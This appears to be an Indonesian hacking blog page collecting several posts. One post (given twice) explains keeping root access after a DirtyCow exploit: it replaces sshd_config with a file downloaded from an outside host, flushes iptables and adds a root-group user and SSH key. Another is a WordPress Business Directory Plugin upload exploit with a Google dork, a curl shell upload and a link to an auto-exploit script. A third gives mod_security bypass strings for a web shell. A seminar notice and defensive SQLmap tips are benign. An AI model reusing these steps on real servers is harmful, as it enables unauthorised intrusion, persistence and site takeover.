Labels

Mendapatkan Akses setelah Routing

Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga kasus dimana proses privilege escalation langsung memanggil tty dengan id root, namun ketika menambahkan user tidak bisa karena akses ke perintah seperti passwd iptables, dll dibatasi.
Oke kita bahas dulu kasus pertama.
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh.
Kemungkinan nya ada dua, tidak diijinkan login dengan password , atau memang ssh hanya bisa diakses melalui ip tertentu saja (pengaturan iptables).
Trik nya :
su firefat
cd /etc/ssh/
rm sshd_config
wget http://dl.linuxsec.org/sshd.txt -O sshd_config
iptables -F
service ssh restart
Perintah diatas akan menghapus konfigurasi ssh yang dilakukan sysadmin dan mengembalikannya ke pengaturan default dimana password login diijinkan dan port nya di port 22. iptables -F adalah melakukan flushing iptables. Hal ini untuk menghapus semua rule iptables yang ada. Sehingga misalnya rule awal hanya mengijinkan ip tertentu login ke ssh, sekarang kita bisa login ke ssh dari ip kita.
Yang pertama diatas adalah yang kasus paling gampang nya. Nah yang kedua ini lumayan banyak juga
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh - /bin/su denied
Nah kalau yang ini, kita gunakan trik berikut.
Kita lakukan eskalasi server dengan localroot yang langsung memanggil tty dengan id root.
Cek Disini
Sehingga proses nya menjadi
exploit - run - id root
log :
./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 30768
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@whmdaqu [/home/bugs/public_html/]#
karena id kita sekarang root kita tinggal mengikuti perintah di kasus pertama. Reset sshd config, flush iptables, add user setara root.
Nah kasus yang ketiga
exploit - tty dengan id root - tidak bisa menjalankan perintah passwd, iptables dan perintah lainnya.
Hal ini kemungkinan akses ke perintah sistem dibatasi saat kita menggunakan tty.
Log :
root@server [/root]# /usr/sbin/useradd kontol -g root -d /home/kontol
/usr/sbin/useradd kontol -g root -d /home/kontol
root@server [/root]# passwd kontol
passwd root
root@server [/root]#
yup, prompt password tidak mau terpanggil.
Ini dikarenakan akses di tty dibatasi. bahkan meski memiliki id root kita tidak bisa menjalankan perintah iptables.
Trik yang saya coba dan work :
cd ~
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
ssh root@localhost
Kita gunakan akses ssh menggunakan auth key. Kenapa di localhost, kenapa tidak langsung pakai auth key dari server kita ? Disini saya asumsikan firewall server target aktif dan hanya mengijinkan akses ssh dari ip tertentu saja.
Setelah add ssh key, berikut log nya :
root@server [~]# ssh root@localhost
ssh kontol@localhost
Attempting to create directory /root/perl5
root@server [~]#
Memang terlihat sama namun yang pertama adalah tty, dan yang kedua adalah ssh shell.
Sekarang karena yang kita punya bukan tty lagi seharusnya limit atau batasan perintah seperti tidak bisa command iptables, tidak bisa command passwd sudah tidak ada. Selanjutnya tinggal ikuti ara paling atas .
Sekian tutorial kali ini, semoga bermanfaat.

WordPress Business Directory Plugin File Upload


Exploit Title: WordPress Business Directory Plugin File Upload
Author: Jingklong ( Bahari Trouble Maker )



Google Dork: inurl:/wp-content/ inurl:/business-directory-plugin
Vuln Path: /wp-admin/admin-ajax.php?action=wpbdp-file-field-upload

Example Target:
http://target.com/wp-admin/admin-ajax.php?action=wpbdp-file-field-upload

( Vuln Target )
Exploit:
1. CSRF


2. CURL POST
root # curl -v -k -F "file=@shell.gif" "http://target.com/wp-admin/admin-ajax.php?action=wpbdp-file-field-upload"

Upload file anda dengan format .gif

Hasil upload anda bisa dicari di:
http://target.com//wp-content/uploads/2017/06/shell.gif


Download:
Auto Exploit (BASH): https://pastebin.com/Wk904pU9


Oke, selamat mencari target :D

Mendapatkan Akses SSH Setelah Rooting Server

Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga kasus dimana proses privilege escalation langsung memanggil tty dengan id root, namun ketika menambahkan user tidak bisa karena akses ke perintah seperti passwd iptables, dll dibatasi.
Oke kita bahas dulu kasus pertama.
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh.
Kemungkinan nya ada dua, tidak diijinkan login dengan password , atau memang ssh hanya bisa diakses melalui ip tertentu saja (pengaturan iptables).
Trik nya :
su firefat
cd /etc/ssh/
rm sshd_config
wget http://dl.linuxsec.org/sshd.txt -O sshd_config
iptables -F
service ssh restart
Perintah diatas akan menghapus konfigurasi ssh yang dilakukan sysadmin dan mengembalikannya ke pengaturan default dimana password login diijinkan dan port nya di port 22. iptables -F adalah melakukan flushing iptables. Hal ini untuk menghapus semua rule iptables yang ada. Sehingga misalnya rule awal hanya mengijinkan ip tertentu login ke ssh, sekarang kita bisa login ke ssh dari ip kita.
Yang pertama diatas adalah yang kasus paling gampang nya. Nah yang kedua ini lumayan banyak juga
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh - /bin/su denied
Nah kalau yang ini, kita gunakan trik berikut.
Kita lakukan eskalasi server dengan localroot yang langsung memanggil tty dengan id root.
Cek Disini
Sehingga proses nya menjadi
exploit - run - id root
log :
./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 30768
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@whmdaqu [/home/bugs/public_html/]#
karena id kita sekarang root kita tinggal mengikuti perintah di kasus pertama. Reset sshd config, flush iptables, add user setara root.
Nah kasus yang ketiga
exploit - tty dengan id root - tidak bisa menjalankan perintah passwd, iptables dan perintah lainnya.
Hal ini kemungkinan akses ke perintah sistem dibatasi saat kita menggunakan tty.
Log :
root@server [/root]# /usr/sbin/useradd kontol -g root -d /home/kontol
/usr/sbin/useradd kontol -g root -d /home/kontol
root@server [/root]# passwd kontol
passwd root
root@server [/root]#
yup, prompt password tidak mau terpanggil.
Ini dikarenakan akses di tty dibatasi. bahkan meski memiliki id root kita tidak bisa menjalankan perintah iptables.
Trik yang saya coba dan work :
cd ~
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
ssh root@localhost
Kita gunakan akses ssh menggunakan auth key. Kenapa di localhost, kenapa tidak langsung pakai auth key dari server kita ? Disini saya asumsikan firewall server target aktif dan hanya mengijinkan akses ssh dari ip tertentu saja.
Setelah add ssh key, berikut log nya :
root@server [~]# ssh root@localhost
ssh kontol@localhost
Attempting to create directory /root/perl5
root@server [~]#
Memang terlihat sama namun yang pertama adalah tty, dan yang kedua adalah ssh shell.
Sekarang karena yang kita punya bukan tty lagi seharusnya limit atau batasan perintah seperti tidak bisa command iptables, tidak bisa command passwd sudah tidak ada. Selanjutnya tinggal ikuti ara paling atas .
Sekian tutorial kali ini, semoga bermanfaat.

Seminar Cyber Security dalam Rangka Ulang Tahun IndoXploit ke 3

"Seminar Cyber Security IndoXploit"


Dalam rangka menyemarakkan Ulang Tahun IndoXploit ke 3 tepatnya pada tanggal 20 Mei 2017 nanti, kami keluarga besar INDOXPLOIT mengadakan sebuah acara "Seminar Cyber Security" yang bekerja sama dengan Program Studi Sistem Informasi Universitas Trilogi.

Karena maraknya tindak kejahatan cyber yang masih sangat minim diketahui khalayak ramai / orang pada umumnya yang tidak terlalu mengerti tentang dunia internet ini mengakibatkan banyak sekali orang yang mengalami tindak kejahatan ini. Biasanya para pelaku mengirim link-link palsu yang akan menipu korbannya demi mendapatkan data-data pribadi milik korban, berupa (kartu kredit, informasi pribadi, akun sosial media, dll). Disini kami bermaksud memberikan pengetahuan bagaimana mencegah aksi-aksi kejahatan tersebut dan juga mengenali tindakan apa saja yang merupakan kejahatan cyber.

Tidak membahas itu saja, disini kami juga akan membahas hal-hal lain seperti Keamanan Website, Kemanan Jaringan (MikroTik), dan satu lagi yang masih kami rahasiakan :D

So, bagi kalian yang "suka" menjadi korban tindak kejahatan tersebut/pernah mengalaminya, kalian bisa mengikuti kegiatan ini guna mendapatkan pengetahuan soal kejahatan cyber.

Kalian bisa Registrasi di Link ini:
http://event.indoxploit.or.id/

Fasilitas:
- Snack
- Sertifikat (untuk peserta OTS, akan mendapatkan E-Certificate, sedangkan HTM akan langsung menerima setelah seminar usai)


Ayoo Ayooo, semoga kegiatan ini menambah ilmu kalian tentang dunia Cyber :D




Cara Mudah Hindari Serangan SQL Injection & Penggunaan SQLMAP oleh Attacker

Sesuai judul, kali ini gua akan share trik sederhana bagi kalian yang tak ingin websitenya di ubek-ubek oleh tools SQLmap. Ya, SQLmap merupakan sebuah tools yang sangat familiar dikalangan injector/attacker yang suka bermain-main dengan bug-bug SQL. Karena dinilai sangat mudah digunakan dan juga powerfull. Kita jadi tidak usah meng-inject secara manual ke website tujuan kita yang memiliki kelemahan SQL Injection. Tools SQLmap ini sudah akan otomatis meng-injectnya.

Yap, ini dia trik sederhananya. SQLmap sendiri dalam proses meng-injetnya, mengirimkan sebuah request HTTP Header kepada website yang di tuju. Anda bisa melihatnya dengan menambahkan option -v [level] (Verbose) .

> python sqlmap.py -u "localhost/test.php?id=1" --current-os -v 6

Lihatlah hasilnya, Disini kita akan mem-block User-Agent SQLmap, agar pada saat tools ini berjalan akan menghasilkan response lain.

berikut merupakan script sederhana yang saya buat, semoga kalian paham.
(script ini akan mudah di injeksi oleh SQLmap)

(Lalu block user-agent milik SQLmap, seperti yang saya buat pada bagian atas.)

Dan lihatlah perbedaannya saat kita eksekusi kembali pada target yang sama, namun kali ini kita memblock User-Agent nya.
( hasilnya adalah 404 Not Found, sesuai dengan apa yang sudah kita set pada script block nya tadi )

**Cara diatas tadi adalah untuk menghindari serangan dari Tools SQLMAP.
**Untuk Menghindari dari Serangan SQL Injection. Kalian tinggal memberikan beberapa fungsi seperti ini pada parameternya.

(gunakan fungsi mysqli_real_escape_string)

(hasilnya adalah seperti ini, tidak bisa di injeksi)

Oke sekian dulu , semoga bermanfaat .

Bypassing Blocked Linux Command by Mod_Security

Oke kali ini gua akan share tips tentang cara simple membypass command yang di blokir oleh mod_security. Pernah denger bukan?
Gambar terkait
ModSecurity merupakan
modul dari apache yang merupakan salah satu web server yang paling banyak
digunakan.
Kebanyakan serangan di internet dilakukan terhadap web untuk itu
diperlukan pengamanan khusus untuk menangani hal tersebut. Berbagai 
macam cara dapat dilakukan salah satunya adalah memasang WAF (Web
Application Firewall) salah satu WAF yang dibahas pada artikel ini
adalah ModSecurity.
ModSecurity merupakan web application firewall, Seperti firewall pada
umumnya yaitu melakukan filter data masuk dan keluar dan dapat untuk
menstop traffic yang dianggap berbahaya sesuai dengan rule yang
ditetapkan.
Pada ModSecurity terdapat beberapa fitur seperti HTTP Traffic Logging 
yang memungkinkan ModSecurity dapat melakukan full logging pada
transaksi HTTP. Dan juga terdapat fitur Virtual Patching yang merupakan
sebuah metode untuk melakukan patch sebuah vulnerability sebuah web
application tanpa menyentuh web application tersebut dengan membuat rule
yang memblok request yang berbahaya.
ModSecurity merupakan WAF yang menyediakan proteksi yang harus disetting
dengan rule karena Metode pemblokiran dari request-request yang
berbahaya tergantung dari rule yang ditetapkan. Untuk membuat
ModSecurity lebih powerfull dan untuk memungkinkan pengguna mendapatkan
keuntungan penuh Trustwave's SpiderLabs membuat project OWASP
ModSecurity Core Rule Set (CRS). CRS memberikan perlindungan generik
dari vulnerabilities yang tidak dikenali pada aplikasi web.
Contohnya, pernah mendapatkan sebuah akses backdoor yang ternyata dalam server tersebut di proteksi oleh modul modSecurity ini?. Dan ketika saja mencoba menjalankan command shell seperti berikut, munculah sesuatu seperti pada gambar dibawah ini.
Yap, seperti itulah hasilnya. Sewaktu kalian ingin menjalakan command linux pada command shell seperti command-command yang biasanya kita gunakan, yaitu:

- id
- uname
- pwd
- whoami

Tenang saja, jangan khawatir karena command-command tersebut masih bisa kita jalankan, tentu saja dengan cara membypassnya. Bagaimana caranya? mudah saja kalian cukup memanfaatkan command SET di Linux. Command SET itu sendiri merupakan command yang digunakan untuk mendefinisikan dan menentukan nilai dari system environtment (lingkungan sistem).

Oke, perhatikan gambar berikut.

Untuk menjalankan command yang di blokir oleh mod_security, cukup tambahkan command SET di depannya. serta pisahkan dengan ";" (tanpa kutip).

contohnya: shell.php?cmd=SET;id

lihat bukan? command yang tadinya akan menghasilkan "Not Acceptable" akan berjalan dengan baik.

Kalian juga dapat membypassnya dengan cara seperti ini:

- shell.php?cmd=SET;id ->shell.php?cmd=set $(id);set
- shell.php?cmd=SET;whoami -> setshell.php?cmd=set $(whoami);set
- shell.php?cmd=set $(uname -r);set

untuk yang menggukana command seperti ?cmd=set $(command);set, anda bisa melihat hasilnya di paling bawah.
(yap ini dia hasilnya ?cmd=set $(uname -rv);set , 3.12.65-188.ELK6.x86_64. Terdapat pada _=)

dan lainnya, kalian juga bisa menggunakan cara ini:

- shell.php?cmd=***;id
- shell.php?cmd=***;whoami

Dimana shell.php merupakan command shell milik kalian, silakan kalian kembangkan.
Oke sekian dulu kawan, semoga menambah wawasan.

Bypass Blocked User-Agent with cURL [ CLI ]

Halooo, selamat malam. Sesuai judul, kali ini gua akan sedikit membahas tentang bagaimana memanfaatkan sebuah code untuk memblock beberapa User-Agent dan juga pastinya Cara Bypass hal tersebut. Oke Langsung saja.

Pertama, pernahkan kalian membuat sebuah sedikit potongan kode untuk memblock adanya user-agent" yang dianggap sebagai bot? agar tidak bisa mendeteksi situs anda.
Contohnya seperti potongan kode PHP berikut.

Kode diatas dimaksudkan untuk memblokir adanya user-agent bot yang termasuk kedalam list $userAgent. Pada saat kita menggunakan "User-Agent" yang termasuk ke dalam list tersebut. Maka akan menghasilkan output header 404 Not Found. Seperti yang kita set pada script.

Akan gua buktikan seperti ini, gua akan memblockir user-agent curl, agar pada saat kita menggunakan curl untuk melihat website tersebut, maka akan menghasilkan header 404 Not Found.
Saya akan menambahkan list "curl" kedalam variable $userAgent.
(lihat di akhir)

Sekarang kita Coba, dengan menggunakan command curl pada CLI/CMD.
curl -v -k http://website.com/script.php

* -v = digunakan untuk memberikan output http header pada screen (Verbose)
* -k = mengizinkan koneksi ke situs SSL tanpa sertifikat
(terlihat pada gambar, bahwa hasil curl mendapatkan bahwa situs yang di maksud mempunya hasil 404 Not Found [ Halaman tidak ditemukan ], padahal ketika kita buka di browser dapat kita akses)

Nah, Bagaimana jika kita tidak mempunyai hak untuk mengedit file yang memblokir user-agent tersebut? sudah pasti ketika kita ingin membuat sebuah scanner/finder contohnya, hal ini akan sulit. malah kita akan bisa di bodohi oleh hasilnya, yang ternyata dapat diakses malah ternyata tools buatan kita menghasilkan sesuatu yang berbeda dari yang kita inginkan. 

Nah, tenang saja hal ini dapat kita bypass. Bagaimana caranya? Caranya adalah kita ganti HTTP Request User-Agentnya, menjadi user-agent yang tidak terdapat kedalam list (blacklist) script tadi.

Anda bisa gunakan cara yang sama yaitu curl (CLI/CMD) atau bisa juga dengan script biasa. Tambahkan Opsi -H pada curl nya, untuk mengirimkan request HTTP.

curl -v -k -H "User-Agent: Deepweb" http://website.com/script.php
(terlihat beda bukan? kita berhasil membypassnya. lihat bahwa dengan kita menambahkan -H User-Agent pada HTTP Requestnya dan menggantinya dengan User-Agent Lain.(not blacklisted) . Hasilnya menunjukkan 200 OK. [halaman dapat diakses] )

Paham? Mudah Bukan :D


Oke Sekian dulu, semoga bermanfaat :D